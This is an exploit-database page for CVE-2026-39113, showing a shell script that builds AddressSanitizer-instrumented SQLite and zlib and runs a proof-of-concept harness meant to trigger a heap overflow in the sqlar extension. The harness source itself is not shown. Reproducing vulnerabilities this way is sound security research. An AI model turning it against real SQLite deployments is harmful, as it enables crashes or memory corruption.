Exploit database

GH-5db09138f89a7936b78c05200f5966d3

20000419/cve-2026-39113

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-39113

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
20000419/cve-2026-39113Revision 17c0ddd04771

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/reproduce.sh

Shell · 2,699 bytes
#!/usr/bin/env bash
set -euo pipefail

# This script intentionally triggers an AddressSanitizer abort. Run it only in
# a disposable Linux or WSL environment.

SQLITE_REV="169f68ed88b34cb68f720191c64c058f2ccec508"
ZLIB_REV="f9dd6009be3ed32415edf1e89d1bc38380ecb95d"

SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
BUILD_ROOT="$(mktemp -d "${TMPDIR:-/tmp}/cve-2026-39113.XXXXXX")"

cleanup(){
  if [[ "${KEEP_BUILD:-0}" == "1" ]]; then
    printf 'Build directory retained: %s\n' "$BUILD_ROOT"
  else
    rm -rf -- "$BUILD_ROOT"
  fi
}
trap cleanup EXIT

for tool in cc git make; do
  if ! command -v "$tool" >/dev/null 2>&1; then
    printf 'Missing required tool: %s\n' "$tool" >&2
    exit 2
  fi
done

printf '[1/6] Cloning pinned SQLite and zlib revisions\n'
git init --quiet "$BUILD_ROOT/sqlite"
git -C "$BUILD_ROOT/sqlite" remote add origin https://github.com/sqlite/sqlite.git
git -C "$BUILD_ROOT/sqlite" fetch --quiet --depth=1 origin "$SQLITE_REV"
git -C "$BUILD_ROOT/sqlite" checkout --quiet FETCH_HEAD
git init --quiet "$BUILD_ROOT/zlib"
git -C "$BUILD_ROOT/zlib" remote add origin https://github.com/madler/zlib.git
git -C "$BUILD_ROOT/zlib" fetch --quiet --depth=1 origin "$ZLIB_REV"
git -C "$BUILD_ROOT/zlib" checkout --quiet FETCH_HEAD

printf '[2/6] Building AddressSanitizer-instrumented zlib\n'
(
  cd "$BUILD_ROOT/zlib"
  CFLAGS="-O0 -g -fsanitize=address -fPIC -fno-omit-frame-pointer" \
    ./configure --static >/dev/null
  make -s libz.a
)

printf '[3/6] Generating the SQLite amalgamation\n'
mkdir "$BUILD_ROOT/sqlite-build"
(
  cd "$BUILD_ROOT/sqlite-build"
  "$BUILD_ROOT/sqlite/configure" --disable-shared \
    CFLAGS="-O0 -g -fsanitize=address -fno-omit-frame-pointer" \
    LDFLAGS="-fsanitize=address" >/dev/null
  make -s sqlite3.c sqlite3.h
)

printf '[4/6] Building the vulnerable sqlar extension\n'
cc -O0 -g -fsanitize=address -fno-omit-frame-pointer -fPIC -shared \
  -I"$BUILD_ROOT/sqlite-build" \
  "$BUILD_ROOT/sqlite/ext/misc/sqlar.c" \
  "$BUILD_ROOT/zlib/libz.a" \
  -o "$BUILD_ROOT/sqlite-build/sqlar.so"

printf '[5/6] Building the PoC harness\n'
cc -O0 -g -fsanitize=address -fno-omit-frame-pointer \
  -I"$BUILD_ROOT/sqlite-build" \
  "$SCRIPT_DIR/verify_sqlar_poc.c" \
  "$BUILD_ROOT/sqlite-build/sqlite3.c" \
  "$BUILD_ROOT/zlib/libz.a" \
  -ldl -lpthread \
  -o "$BUILD_ROOT/sqlite-build/verify_sqlar_poc"

printf '[6/6] Running the PoC; an ASan heap-buffer-overflow is expected\n'
cd "$BUILD_ROOT/sqlite-build"
set +e
ASAN_OPTIONS=detect_leaks=0 ./verify_sqlar_poc
status=$?
set -e

printf 'PoC exit status: %d\n' "$status"
if [[ "$status" -eq 0 ]]; then
  printf 'Unexpected result: the process did not abort.\n' >&2
  exit 1
fi